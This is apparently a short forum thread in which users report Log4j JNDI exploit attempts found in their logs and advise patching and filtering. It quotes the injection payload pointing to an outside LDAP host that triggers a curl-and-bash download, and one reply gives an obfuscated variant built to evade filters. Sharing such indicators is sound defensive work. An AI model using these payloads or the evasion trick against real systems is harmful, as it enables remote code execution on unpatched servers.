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We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs: > /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Comm
by elric 5y ago
We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs:
> /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/<base64 encoded call to curl & bash>
Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.
- bArray 5y agoCan confirm this also: ${jndi:ldap://45.155.205.xxx:12 344/Basic/Command/Base64/<base64>} > Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this. Note that the filtering may not work, I am already seeing some variations of mitigation by the attackers: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.xxx:12344/Basic/Command/Base64/<base64>
- ianhawes 5y agoThat is quite clever. Noted!